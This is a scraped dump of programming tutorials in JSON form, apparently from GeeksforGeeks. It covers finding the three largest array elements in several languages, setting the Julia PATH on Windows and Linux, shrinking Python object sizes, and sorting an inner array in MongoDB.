main(String[] args) { int arr[] = { 12, 13, 1, 10, 34, 1 }; int n = arr.length; print3largest(arr, n); }}/*This code is contributed by Prakriti Guptaand edited by Ayush Singla(@ayusin51)*/", "e": 29401, "s": 28054, "text": null }, { "code": "# Python3 code to find largest three# elements in an arrayimport sys # Function to print three largest# elementsdef print3largest(arr, arr_size): # There should be atleast three # elements if (arr_size < 3): print(\" Invalid Input \") return third = first = second = -sys.maxsize for i in range(0, arr_size): # If current element is greater # than first if (arr[i] > first): third = second second = first first = arr[i] # If arr[i] is in between first # and second then update second elif (arr[i] > second): third = second second = arr[i] elif (arr[i] > third): third = arr[i] print(\"Three largest elements are\", first, second, third) # Driver program to test above functionarr = [12, 13, 1, 10, 34, 1]n = len(arr)print3largest(arr, n) # This code is contributed by Smitha Dinesh Semwal# and edited by Ayush Singla(@ayusin51).", "e": 30453, "s": 29401, "text": null }, { "code": "// C# code to find largest// three elements in an arrayusing System; class PrintLargest { // Function to print three // largest elements static void print3largest(int[] arr, int arr_size) { int i, first, second, third; // There should be atleast three elements if (arr_size < 3) { Console.WriteLine(\"Invalid Input\"); return; } third = first = second = 000; for (i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } Console.WriteLine(\"Three largest elements are \" + first + \" \" + second + \" \" + third); } // Driver code public static void Main() { int[] arr = new int[] { 12, 13, 1, 10, 34, 1 }; int n = arr.Length; print3largest(arr, n); }} // This code is contributed by KRV and edited by Ayush Singla(@ayusin51).", "e": 31785, "s": 30453, "text": null }, { "code": "<?php// PHP code to find largest// three elements in an array // Function to print// three largest elementsfunction print3largest($arr, $arr_size){ $i; $first; $second; $third; // There should be atleast // three elements if ($arr_size < 3) { echo \" Invalid Input \"; return; } $third = $first = $second = PHP_INT_MIN; for ($i = 0; $i < $arr_size ; $i ++) { // If current element is // greater than first if ($arr[$i] > $first) { $third = $second; $second = $first; $first = $arr[$i]; } // If arr[i] is in between first // and second then update second else if ($arr[$i] > $second) { $third = $second; $second = $arr[$i]; } else if ($arr[$i] > $third) $third = $arr[$i]; } echo \"Three largest elements are \", $first, \" \", $second, \" \", $third;} // Driver Code$arr = array(12, 13, 1, 10, 34, 1);$n = count($arr);print3largest($arr, $n); // This code is contributed by anuj_67 and edited by Ayush Singla(@ayusin51).?>", "e": 32914, "s": 31785, "text": null }, { "code": "<script> // Javascript program for find the largest// three elements in an array // Function to print three largest elementsfunction print3largest(arr, arr_size){ let first, second, third; // There should be atleast three elements if (arr_size < 3) { document.write(\" Invalid Input \"); return; } third = first = second = Number.MIN_VALUE; for(let i = 0; i < arr_size; i++) { // If current element is // greater than first if (arr[i] > first) { third = second; second = first; first = arr[i]; } // If arr[i] is in between first // and second then update second else if (arr[i] > second) { third = second; second = arr[i]; } else if (arr[i] > third) third = arr[i]; } document.write(\"Three largest elements are \" + first + \" \" + second + \" \" + third + \"<br>\");} // Driver code let arr = [ 12, 13, 1, 10, 34, 1 ]; let n = arr.length; print3largest(arr, n); // This is code is contributed by Mayank Tyagi </script>", "e": 34058, "s": 32914, "text": null }, { "code": null, "e": 34068, "s": 34058, "text": "Output : " }, { "code": null, "e": 34104, "s": 34068, "text": "Three largest elements are 34 13 12" }, { "code": null, "e": 34241, "s": 34104, "text": "Method 2 An efficient way to solve this problem is to use any O(nLogn) sorting algorithm & simply returning the last 3 largest elements." }, { "code": null, "e": 34245, "s": 34241, "text": "C++" }, { "code": null, "e": 34250, "s": 34245, "text": "Java" }, { "code": null, "e": 34258, "s": 34250, "text": "Python3" }, { "code": null, "e": 34261, "s": 34258, "text": "C#" }, { "code": null, "e": 34272, "s": 34261, "text": "Javascript" }, { "code": "// C++ code to find largest// three elements in an array#include <bits/stdc++.h>using namespace std; void find3largest(int arr[], int n){ sort(arr, arr + n); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values cout << arr[n - i] << \" \"; check = arr[n - i]; count++; } } else break; }} // Driver codeint main(){ int arr[] = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; int n = sizeof(arr) / sizeof(arr[0]); find3largest(arr, n);} // This code is contributed by Rajput-Ji", "e": 35031, "s": 34272, "text": null }, { "code": "// Java code to find largest// three elements in an array import java.io.*;import java.util.Arrays; class GFG { void find3largest(int[] arr) { Arrays.sort(arr); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int n = arr.length; int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values System.out.print(arr[n - i] + \" \"); check = arr[n - i]; count++; } } else break; } } // Driver code public static void main(String[] args) { GFG obj = new GFG(); int[] arr = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; obj.find3largest(arr); }}// This code is contributed by Prashant Malik", "e": 35943, "s": 35031, "text": null }, { "code": "# Python3 code to find largest# three elements in an arraydef find3largest(arr, n): arr = sorted(arr) # It uses Tuned Quicksort with # avg. case Time complexity = O(nLogn) check = 0 count = 1 for i in range(1, n + 1): if(count < 4): if(check != arr[n - i]): # to handle duplicate values print(arr[n - i], end = \" \") check = arr[n - i] count += 1 else: break # Driver codearr = [12, 45, 1, -1, 45, 54, 23, 5, 0, -10]n = len(arr)find3largest(arr, n) # This code is contributed by mohit kumar", "e": 36588, "s": 35943, "text": null }, { "code": "// C# code to find largest// three elements in an arrayusing System; class GFG { void find3largest(int[] arr) { Array.Sort(arr); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) int n = arr.Length; int check = 0, count = 1; for (int i = 1; i <= n; i++) { if (count < 4) { if (check != arr[n - i]) { // to handle duplicate values Console.Write(arr[n - i] + \" \"); check = arr[n - i]; count++; } } else break; } } // Driver code public static void Main() { GFG obj = new GFG(); int[] arr = { 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 }; obj.find3largest(arr); }} // This code is contributed by Code_Mech", "e": 37468, "s": 36588, "text": null }, { "code": "<script> // JavaScript code to find largest// three elements in an array function find3largest(arr) { arr.sort((a,b)=>a-b); // It uses Tuned Quicksort with // avg. case Time complexity = O(nLogn) let check = 0, count = 1; for (let i = 1; i <= arr.length; i++) { if (count < 4) { if (check != arr[arr.length - i]) { // to handle duplicate values document.write(arr[arr.length - i] + \" \"); check = arr[arr.length - i]; count++; } } else break; } } // Driver code let arr = [ 12, 45, 1, -1, 45, 54, 23, 5, 0, -10 ]; find3largest(arr); // This code is contributed by Surbhi Tyagi </script>", "e": 38270, "s": 37468, "text": null }, { "code": null, "e": 38280, "s": 38270, "text": "Output : " }, { "code": null, "e": 38290, "s": 38280, "text": " 54 45 23" }, { "code": null, "e": 38661, "s": 38290, "text": "Method 3 – We can use Partial Sort of C++ STL. partial_sort uses Heapselect, which provides better performance than Quickselect for small M. As a side effect, the end state of Heapselect leaves you with a heap, which means that you get the first half of the Heapsort algorithm “for free”. The complexity is “approximately” O(N log(M)), where M is distance(middle-first)." }, { "code": null, "e": 38665, "s": 38661, "text": "C++" }, { "code": "#include <bits/stdc++.h>using namespace std;int main(){ vector<int> V = { 11, 65, 193, 36, 209, 664, 32 }; partial_sort(V.begin(), V.begin() + 3, V.end(), greater<int>()); cout << \"first = \" << V[0] << \"\\n\"; cout << \"second = \" << V[1] << \"\\n\"; cout << \"third = \" << V[2] << \"\\n\"; return 0;}", "e": 38976, "s": 38665, "text": null }, { "code": null, "e": 38985, "s": 38976, "text": "Output :" }, { "code": null, "e": 39022, "s": 38985, "text": "first = 664\nsecond = 209\nthird = 193" }, { "code": null, "e": 39148, "s": 39022, "text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. " }, { "code": null, "e": 39152, "s": 39148, "text": "KRV" }, { "code": null, "e": 39157, "s": 39152, "text": "vt_m" }, { "code": null, "e": 39167, "s": 39157, "text": "JohnnyJAT" }, { "code": null, "e": 39177, "s": 39167, "text": "Rajput-Ji" }, { "code": null, "e": 39186, "s": 39177, "text": "ayusin51" }, { "code": null, "e": 39201, "s": 39186, "text": "mohit kumar 29" }, { "code": null, "e": 39211, "s": 39201, "text": "Code_Mech" }, { "code": null, "e": 39222, "s": 39211, "text": "chirags_30" }, { "code": null, "e": 39234, "s": 39222, "text": "anjali_1102" }, { "code": null, "e": 39242, "s": 39234, "text": "crawler" }, { "code": null, "e": 39256, "s": 39242, "text": "surbhityagi15" }, { "code": null, "e": 39272, "s": 39256, "text": "mayanktyagi1709" }, { "code": null, "e": 39289, "s": 39272, "text": "surinderdawra388" }, { "code": null, "e": 39306, "s": 39289, "text": "Order-Statistics" }, { "code": null, "e": 39313, "s": 39306, "text": "Arrays" }, { "code": null, "e": 39323, "s": 39313, "text": "Searching" }, { "code": null, "e": 39330, "s": 39323, "text": "Arrays" }, { "code": null, "e": 39340, "s": 39330, "text": "Searching" }, { "code": null, "e": 39438, "s": 39340, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 39482, "s": 39438, "text": "Top 50 Array Coding Problems for Interviews" }, { "code": null, "e": 39514, "s": 39482, "text": "Multidimensional Arrays in Java" }, { "code": null, "e": 39537, "s": 39514, "text": "Introduction to Arrays" }, { "code": null, "e": 39551, "s": 39537, "text": "Linear Search" }, { "code": null, "e": 39619, "s": 39551, "text": "Maximum and minimum of an array using minimum number of comparisons" }, { "code": null, "e": 39633, "s": 39619, "text": "Binary Search" }, { "code": null, "e": 39647, "s": 39633, "text": "Linear Search" }, { "code": null, "e": 39715, "s": 39647, "text": "Maximum and minimum of an array using minimum number of comparisons" }, { "code": null, "e": 39739, "s": 39715, "text": "Find the Missing Number" } ]
How to Setup Julia Path to Environment Variable?
27 Feb, 2020 Environment variables basically define the behavior of the environment. They can affect the processes ongoing or the programs that are executed in the environment. The region from which this variable can be accessed or over which it is defined is termed as the scope of the variable. In Julia, setting up the environment variable is very important because it enables Julia command-line to be started from anywhere in the system. Setting up Julia Environment can be done by following a few simple steps. Step 1: Download Julia for Windows from the official site julialang.org and follow the instructions on How to install Julia on Windows? Step 2: After the installation is done, we need to set up the environment variable.Go to Control Panel -> System and Security -> SystemUnder Advanced System Setting option click on Environment Variables as shown below: Step 3: Now, we have to alter the “Path” variable under System variables so that it also contains the path to the Julia environment. Select the “Path” variable and click on the Edit button as shown below: Step 4: We will see a list of different paths, click on the New button and then add the path where Julia is installed. Step 5: Click on OK, Save the settings and it is done !! Now to check whether the installation is done correctly, open command prompt and type julia. It will start Julia command-line if installed correctly. In Linux, there are several ways to install Julia. But we will refer to the simplest and easy way to install Julia using the terminal. Go through How to install Julia on Linux? and follow the instructions. Generally, the Path variable is automatically set in Linux at the time of installation, but it can also be set manually by following steps: Go to Application -> Accessories -> Terminal For setting up Environment Variable, type the following command in the Terminal with the use of Installation path:export JULIA=/snap/bin/julia export JULIA=/snap/bin/julia For setting up the Environment Value, type the following command in the Terminal with the use of Installation path:export PATH = $PATH:/snap/bin/ export PATH = $PATH:/snap/bin/ It is done!! Now to check whether the installation is done correctly, open Terminal and type julia. It will open the Julia command-line if the setup is done correctly. Julia-Basics Julia Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n27 Feb, 2020" }, { "code": null, "e": 312, "s": 28, "text": "Environment variables basically define the behavior of the environment. They can affect the processes ongoing or the programs that are executed in the environment. The region from which this variable can be accessed or over which it is defined is termed as the scope of the variable." }, { "code": null, "e": 531, "s": 312, "text": "In Julia, setting up the environment variable is very important because it enables Julia command-line to be started from anywhere in the system. Setting up Julia Environment can be done by following a few simple steps." }, { "code": null, "e": 886, "s": 531, "text": "Step 1: Download Julia for Windows from the official site julialang.org and follow the instructions on How to install Julia on Windows? Step 2: After the installation is done, we need to set up the environment variable.Go to Control Panel -> System and Security -> SystemUnder Advanced System Setting option click on Environment Variables as shown below:" }, { "code": null, "e": 1418, "s": 886, "text": " Step 3: Now, we have to alter the “Path” variable under System variables so that it also contains the path to the Julia environment. Select the “Path” variable and click on the Edit button as shown below: Step 4: We will see a list of different paths, click on the New button and then add the path where Julia is installed. Step 5: Click on OK, Save the settings and it is done !! Now to check whether the installation is done correctly, open command prompt and type julia. It will start Julia command-line if installed correctly." }, { "code": null, "e": 1764, "s": 1418, "text": "In Linux, there are several ways to install Julia. But we will refer to the simplest and easy way to install Julia using the terminal. Go through How to install Julia on Linux? and follow the instructions. Generally, the Path variable is automatically set in Linux at the time of installation, but it can also be set manually by following steps:" }, { "code": null, "e": 1809, "s": 1764, "text": "Go to Application -> Accessories -> Terminal" }, { "code": null, "e": 1952, "s": 1809, "text": "For setting up Environment Variable, type the following command in the Terminal with the use of Installation path:export JULIA=/snap/bin/julia" }, { "code": null, "e": 1981, "s": 1952, "text": "export JULIA=/snap/bin/julia" }, { "code": null, "e": 2129, "s": 1983, "text": "For setting up the Environment Value, type the following command in the Terminal with the use of Installation path:export PATH = $PATH:/snap/bin/" }, { "code": null, "e": 2160, "s": 2129, "text": "export PATH = $PATH:/snap/bin/" }, { "code": null, "e": 2330, "s": 2162, "text": "It is done!! Now to check whether the installation is done correctly, open Terminal and type julia. It will open the Julia command-line if the setup is done correctly." }, { "code": null, "e": 2343, "s": 2330, "text": "Julia-Basics" }, { "code": null, "e": 2349, "s": 2343, "text": "Julia" } ]
Tips to reduce Python object size
24 Apr, 2020 We all know a very common drawback of Python when compared to programming languages such as C or C++. It is significantly slower and isn’t quite suitable to perform memory-intensive tasks as Python objects consume a lot of memory. This can result in memory problems when dealing with certain tasks. When the RAM becomes overloaded with tasks during execution and programs start freezing or behaving unnaturally, we call it a Memory problem. Let’s look at some ways in which we can use this memory effectively and reduce the size of objects. We all are very familiar with dictionary data type in Python. It’s a way of storing data in form of keys and values. But when it comes to memory management, dictionary isn’t the best. In fact, it’s the worst. Let’s see this with an example: # importing the sys libraryimport sys Coordinates = {'x':3, 'y':0, 'z':1} print(sys.getsizeof(Coordinates)) 288 We see that one instance of the data type dictionary takes 288 bytes. Hence it will consume ample amount of memory when we will have many instances:So, we conclude that dictionary is not suitable when dealing with memory-efficient programs. Tuples are perfect for storing immutable data values and is also quite efficient as compared to dictionary in reducing memory usage: import sys Coordinates = (3, 0, 1) print(sys.getsizeof(Coordinates)) 72 For simplicity, we assumed that the indices 0, 1, 2 represent x, y, z respectively. So from 288 bytes, we came down to 72 bytes by just using tuple instead of dictionary. Still it’s not very efficient. If we have large number of instances, we would still require large memory: By arranging the code inside classes, we can significantly reduce memory consumption as compared to using dictionary and tuple. import sys class Point: # defining the coordinate variables def __init__(self, x, y, z): self.x = x self.y = y self.z = z Coordinates = Point(3, 0, 1)print(sys.getsizeof(Coordinates)) 56 We see that the same program now requires 56 bytes instead of the previous 72 bytes. The variables x, y and z consume 8 bytes each while the rest 32 bytes are consumed by the inner codes of Python. If we have a larger number of instances, we have the following distribution – So we conclude that classes have an upper-hand than dictionary and tuple when it comes to memory saving. Side Note : Function sys.getsizeof(object[, default]) specification says: “Only the memory consumption directly attributed to the object is accounted for, not the memory consumption of objects it refers to.” So in your example: class Point: def __init__(self, x, y, z): self.x = x self.y = y self.z = z Coordinates = Point(3, 0, 1) the effective memory usage of object Coordinates is:sys.getsizeof(Coordinates) +sys.getsizeof(Coordinates.x) +sys.getsizeof(Coordinates.y) +sys.getsizeof(Coordinates.z) == 56 + 28 + 24 + 28 == 136 Please refer https://docs.python.org/3/library/sys.html. Recordclass is a fairly new Python library. It comes with the support to record types which isn’t in-built in Python. Since recordclass is a third-party module licensed by MIT, we need to install it first by typing this into the terminal: pip install recordclass Let’s use recordclass to see if it further helps in reducing memory size. # importing the installed libraryimport sysfrom recordclass import recordclass Point = recordclass('Point', ('x', 'y', 'z')) Coordinates = Point(3, 0, 1)print(sys.getsizeof(Coordinates)) Output: 48 So the use of recordclass further reduced the memory required of one instance from 56 bytes to 48 bytes. This will be the distribution if we have large number of instances: In previous example, while using recordclass, even the garbage values are collected thus wasting unnecessary memory. This means that there is still a scope of optimization. That’s exactly were dataobjects come in use. The dataobject functionality comes under the recordclass module with a specialty that it does not contribute towards any garbage values. import sysfrom recordclass import make_dataclass Position = make_dataclass('Position', ('x', 'y', 'z'))Coordinates = Position(3, 0, 1) print(sys.getsizeof(Coordinates)) Output: 40 Finally, we see a size reduction from 48 bytes per instance to 40 bytes per instance. Hence, we see that dataobjects are the most efficient way to organize our code when it comes to least memory utilization. danieleb89 python-object Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n24 Apr, 2020" }, { "code": null, "e": 469, "s": 28, "text": "We all know a very common drawback of Python when compared to programming languages such as C or C++. It is significantly slower and isn’t quite suitable to perform memory-intensive tasks as Python objects consume a lot of memory. This can result in memory problems when dealing with certain tasks. When the RAM becomes overloaded with tasks during execution and programs start freezing or behaving unnaturally, we call it a Memory problem." }, { "code": null, "e": 569, "s": 469, "text": "Let’s look at some ways in which we can use this memory effectively and reduce the size of objects." }, { "code": null, "e": 810, "s": 569, "text": "We all are very familiar with dictionary data type in Python. It’s a way of storing data in form of keys and values. But when it comes to memory management, dictionary isn’t the best. In fact, it’s the worst. Let’s see this with an example:" }, { "code": "# importing the sys libraryimport sys Coordinates = {'x':3, 'y':0, 'z':1} print(sys.getsizeof(Coordinates))", "e": 921, "s": 810, "text": null }, { "code": null, "e": 926, "s": 921, "text": "288\n" }, { "code": null, "e": 1167, "s": 926, "text": "We see that one instance of the data type dictionary takes 288 bytes. Hence it will consume ample amount of memory when we will have many instances:So, we conclude that dictionary is not suitable when dealing with memory-efficient programs." }, { "code": null, "e": 1300, "s": 1167, "text": "Tuples are perfect for storing immutable data values and is also quite efficient as compared to dictionary in reducing memory usage:" }, { "code": "import sys Coordinates = (3, 0, 1) print(sys.getsizeof(Coordinates))", "e": 1371, "s": 1300, "text": null }, { "code": null, "e": 1375, "s": 1371, "text": "72\n" }, { "code": null, "e": 1652, "s": 1375, "text": "For simplicity, we assumed that the indices 0, 1, 2 represent x, y, z respectively. So from 288 bytes, we came down to 72 bytes by just using tuple instead of dictionary. Still it’s not very efficient. If we have large number of instances, we would still require large memory:" }, { "code": null, "e": 1780, "s": 1652, "text": "By arranging the code inside classes, we can significantly reduce memory consumption as compared to using dictionary and tuple." }, { "code": "import sys class Point: # defining the coordinate variables def __init__(self, x, y, z): self.x = x self.y = y self.z = z Coordinates = Point(3, 0, 1)print(sys.getsizeof(Coordinates))", "e": 1995, "s": 1780, "text": null }, { "code": null, "e": 1999, "s": 1995, "text": "56\n" }, { "code": null, "e": 2275, "s": 1999, "text": "We see that the same program now requires 56 bytes instead of the previous 72 bytes. The variables x, y and z consume 8 bytes each while the rest 32 bytes are consumed by the inner codes of Python. If we have a larger number of instances, we have the following distribution –" }, { "code": null, "e": 2380, "s": 2275, "text": "So we conclude that classes have an upper-hand than dictionary and tuple when it comes to memory saving." }, { "code": null, "e": 2588, "s": 2380, "text": "Side Note : Function sys.getsizeof(object[, default]) specification says: “Only the memory consumption directly attributed to the object is accounted for, not the memory consumption of objects it refers to.”" }, { "code": null, "e": 2608, "s": 2588, "text": "So in your example:" }, { "code": "class Point: def __init__(self, x, y, z): self.x = x self.y = y self.z = z Coordinates = Point(3, 0, 1)", "e": 2739, "s": 2608, "text": null }, { "code": null, "e": 2936, "s": 2739, "text": "the effective memory usage of object Coordinates is:sys.getsizeof(Coordinates) +sys.getsizeof(Coordinates.x) +sys.getsizeof(Coordinates.y) +sys.getsizeof(Coordinates.z) == 56 + 28 + 24 + 28 == 136" }, { "code": null, "e": 2993, "s": 2936, "text": "Please refer https://docs.python.org/3/library/sys.html." }, { "code": null, "e": 3232, "s": 2993, "text": "Recordclass is a fairly new Python library. It comes with the support to record types which isn’t in-built in Python. Since recordclass is a third-party module licensed by MIT, we need to install it first by typing this into the terminal:" }, { "code": null, "e": 3256, "s": 3232, "text": "pip install recordclass" }, { "code": null, "e": 3330, "s": 3256, "text": "Let’s use recordclass to see if it further helps in reducing memory size." }, { "code": "# importing the installed libraryimport sysfrom recordclass import recordclass Point = recordclass('Point', ('x', 'y', 'z')) Coordinates = Point(3, 0, 1)print(sys.getsizeof(Coordinates))", "e": 3520, "s": 3330, "text": null }, { "code": null, "e": 3528, "s": 3520, "text": "Output:" }, { "code": null, "e": 3531, "s": 3528, "text": "48" }, { "code": null, "e": 3704, "s": 3531, "text": "So the use of recordclass further reduced the memory required of one instance from 56 bytes to 48 bytes. This will be the distribution if we have large number of instances:" }, { "code": null, "e": 4059, "s": 3704, "text": "In previous example, while using recordclass, even the garbage values are collected thus wasting unnecessary memory. This means that there is still a scope of optimization. That’s exactly were dataobjects come in use. The dataobject functionality comes under the recordclass module with a specialty that it does not contribute towards any garbage values." }, { "code": "import sysfrom recordclass import make_dataclass Position = make_dataclass('Position', ('x', 'y', 'z'))Coordinates = Position(3, 0, 1) print(sys.getsizeof(Coordinates))", "e": 4230, "s": 4059, "text": null }, { "code": null, "e": 4238, "s": 4230, "text": "Output:" }, { "code": null, "e": 4241, "s": 4238, "text": "40" }, { "code": null, "e": 4449, "s": 4241, "text": "Finally, we see a size reduction from 48 bytes per instance to 40 bytes per instance. Hence, we see that dataobjects are the most efficient way to organize our code when it comes to least memory utilization." }, { "code": null, "e": 4460, "s": 4449, "text": "danieleb89" }, { "code": null, "e": 4474, "s": 4460, "text": "python-object" }, { "code": null, "e": 4481, "s": 4474, "text": "Python" } ]
How to sort inner array in MongoDB?
You can achieve this with the help of aggregate framework in MongoDB. To understand it, let us create a collection with document. The query to create a collection with document is as follows: > db.sortInnerArrayDemo.insertOne( ... ... { ... "EmployeeDetails": ... { ... "EmployeeAddress": ... { ... "EmployeeCountry": ... [ ... { ... "EmployeeZipCode":1003, ... "EmployeeStreetName":"7885 Trusel Street" ... }, ... { ... "EmployeeZipCode":1001, ... "EmployeeStreetName":"7390 Gonzales Drive" ... }, ... { ... "EmployeeZipCode":1002, ... "EmployeeStreetName":"444 N.Myres Rd." ... } ... ] ... } ... } ... } ... ... ); { "acknowledged" : true, "insertedId" : ObjectId("5c6f07d3da34711ecf87a5b8") } Display all documents from a collection with the help of find() method. The query is as follows: > db.sortInnerArrayDemo.find().pretty(); The following is the output: { "_id" : ObjectId("5c6f07d3da34711ecf87a5b8"), "EmployeeDetails" : { "EmployeeAddress" : { "EmployeeCountry" : [ { "EmployeeZipCode" : 1003, "EmployeeStreetName" : "7885 Trusel Street" }, { "EmployeeZipCode" : 1001, "EmployeeStreetName" : "7390 Gonzales Drive" }, { "EmployeeZipCode" : 1002, "EmployeeStreetName" : "444 N.Myres Rd." } ]} } } The following is the query to sort an inner array. Case 1: Sort order in ascending order. The query is as follows: > db.sortInnerArrayDemo.aggregate( ... {$unwind: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'}, ... {$sort: {'EmployeeDetails.EmployeeAddress.EmployeeCountry.EmployeeZipCode': 1}}, ... {$group: {_id: '$_id', 'EmpCountry': {$push: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'}}}, ... {$project: {'EmployeeDetails.EmployeeAddress.EmployeeCountry': '$EmpCountry'}}).pretty(); The following is the output displaying the inner array is sorted in ascending order on the basis of the EmployeeZipCode: { "_id" : ObjectId("5c6f07d3da34711ecf87a5b8"), "EmployeeDetails" : { "EmployeeAddress" : { "EmployeeCountry" : [ { "EmployeeZipCode" : 1001, "EmployeeStreetName" : "7390 Gonzales Drive" }, { "EmployeeZipCode" : 1002, "EmployeeStreetName" : "444 N.Myres Rd." }, { "EmployeeZipCode" : 1003, "EmployeeStreetName" : "7885 Trusel Street" } ] } } } Case 2: Sort order in descending order The query is as follows: > db.sortInnerArrayDemo.aggregate( ... {$unwind: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'}, ... {$sort: {'EmployeeDetails.EmployeeAddress.EmployeeCountry.EmployeeZipCode':-1}}, ... {$group: {_id: '$_id', 'EmpCountry': {$push: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'}}}, ... {$project: {'EmployeeDetails.EmployeeAddress.EmployeeCountry': '$EmpCountry'}}).pretty(); The following is the output displaying the inner array is sorted in descending order on the basis of the EmployeeZipCode: { "_id" : ObjectId("5c6f07d3da34711ecf87a5b8"), "EmployeeDetails" : { "EmployeeAddress" : { "EmployeeCountry" : [ { "EmployeeZipCode" : 1003, "EmployeeStreetName" : "7885 Trusel Street" }, { "EmployeeZipCode" : 1002, "EmployeeStreetName" : "444 N.Myres Rd." }, { "EmployeeZipCode" : 1001, "EmployeeStreetName" : "7390 Gonzales Drive" } ] } } }
[ { "code": null, "e": 1379, "s": 1187, "text": "You can achieve this with the help of aggregate framework in MongoDB. To understand it, let us create a collection with document. The query to create a collection with document is as follows:" }, { "code": null, "e": 2174, "s": 1379, "text": "> db.sortInnerArrayDemo.insertOne(\n...\n... {\n... \"EmployeeDetails\":\n... {\n... \"EmployeeAddress\":\n... {\n... \"EmployeeCountry\":\n... [\n... {\n... \"EmployeeZipCode\":1003,\n... \"EmployeeStreetName\":\"7885 Trusel Street\"\n... },\n... {\n... \"EmployeeZipCode\":1001,\n... \"EmployeeStreetName\":\"7390 Gonzales Drive\"\n... },\n... {\n... \"EmployeeZipCode\":1002,\n... \"EmployeeStreetName\":\"444 N.Myres Rd.\"\n... }\n... ]\n... }\n... }\n... }\n...\n... );\n{\n \"acknowledged\" : true,\n \"insertedId\" : ObjectId(\"5c6f07d3da34711ecf87a5b8\")\n}" }, { "code": null, "e": 2271, "s": 2174, "text": "Display all documents from a collection with the help of find() method. The query is as follows:" }, { "code": null, "e": 2312, "s": 2271, "text": "> db.sortInnerArrayDemo.find().pretty();" }, { "code": null, "e": 2341, "s": 2312, "text": "The following is the output:" }, { "code": null, "e": 2840, "s": 2341, "text": "{\n \"_id\" : ObjectId(\"5c6f07d3da34711ecf87a5b8\"),\n \"EmployeeDetails\" : {\n \"EmployeeAddress\" : {\n \"EmployeeCountry\" : [\n {\n \"EmployeeZipCode\" : 1003,\n \"EmployeeStreetName\" : \"7885 Trusel Street\"\n },\n {\n \"EmployeeZipCode\" : 1001,\n \"EmployeeStreetName\" : \"7390 Gonzales Drive\"\n },\n {\n \"EmployeeZipCode\" : 1002,\n \"EmployeeStreetName\" : \"444 N.Myres Rd.\"\n }\n ]}\n }\n}" }, { "code": null, "e": 2891, "s": 2840, "text": "The following is the query to sort an inner array." }, { "code": null, "e": 2930, "s": 2891, "text": "Case 1: Sort order in ascending order." }, { "code": null, "e": 2955, "s": 2930, "text": "The query is as follows:" }, { "code": null, "e": 3340, "s": 2955, "text": "> db.sortInnerArrayDemo.aggregate(\n... {$unwind: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'},\n... {$sort: {'EmployeeDetails.EmployeeAddress.EmployeeCountry.EmployeeZipCode': 1}},\n... {$group: {_id: '$_id', 'EmpCountry': {$push:\n'$EmployeeDetails.EmployeeAddress.EmployeeCountry'}}},\n... {$project: {'EmployeeDetails.EmployeeAddress.EmployeeCountry':\n'$EmpCountry'}}).pretty();" }, { "code": null, "e": 3461, "s": 3340, "text": "The following is the output displaying the inner array is sorted in ascending order on the basis of the EmployeeZipCode:" }, { "code": null, "e": 4006, "s": 3461, "text": "{\n \"_id\" : ObjectId(\"5c6f07d3da34711ecf87a5b8\"),\n \"EmployeeDetails\" : {\n \"EmployeeAddress\" : {\n \"EmployeeCountry\" : [\n {\n \"EmployeeZipCode\" : 1001,\n \"EmployeeStreetName\" : \"7390 Gonzales Drive\"\n },\n {\n \"EmployeeZipCode\" : 1002,\n \"EmployeeStreetName\" : \"444 N.Myres Rd.\"\n },\n {\n \"EmployeeZipCode\" : 1003,\n \"EmployeeStreetName\" : \"7885 Trusel Street\"\n }\n ]\n }\n }\n}" }, { "code": null, "e": 4045, "s": 4006, "text": "Case 2: Sort order in descending order" }, { "code": null, "e": 4070, "s": 4045, "text": "The query is as follows:" }, { "code": null, "e": 4455, "s": 4070, "text": "> db.sortInnerArrayDemo.aggregate(\n... {$unwind: '$EmployeeDetails.EmployeeAddress.EmployeeCountry'},\n... {$sort: {'EmployeeDetails.EmployeeAddress.EmployeeCountry.EmployeeZipCode':-1}},\n... {$group: {_id: '$_id', 'EmpCountry': {$push:\n'$EmployeeDetails.EmployeeAddress.EmployeeCountry'}}},\n... {$project: {'EmployeeDetails.EmployeeAddress.EmployeeCountry':\n'$EmpCountry'}}).pretty();" }, { "code": null, "e": 4577, "s": 4455, "text": "The following is the output displaying the inner array is sorted in descending order on the basis of the EmployeeZipCode:" }, { "code": null, "e": 5122, "s": 4577, "text": "{\n \"_id\" : ObjectId(\"5c6f07d3da34711ecf87a5b8\"),\n \"EmployeeDetails\" : {\n \"EmployeeAddress\" : {\n \"EmployeeCountry\" : [\n {\n \"EmployeeZipCode\" : 1003,\n \"EmployeeStreetName\" : \"7885 Trusel Street\"\n },\n {\n \"EmployeeZipCode\" : 1002,\n \"EmployeeStreetName\" : \"444 N.Myres Rd.\"\n },\n {\n \"EmployeeZipCode\" : 1001,\n \"EmployeeStreetName\" : \"7390 Gonzales Drive\"\n }\n ]\n }\n }\n}" } ]
PHP end() Function
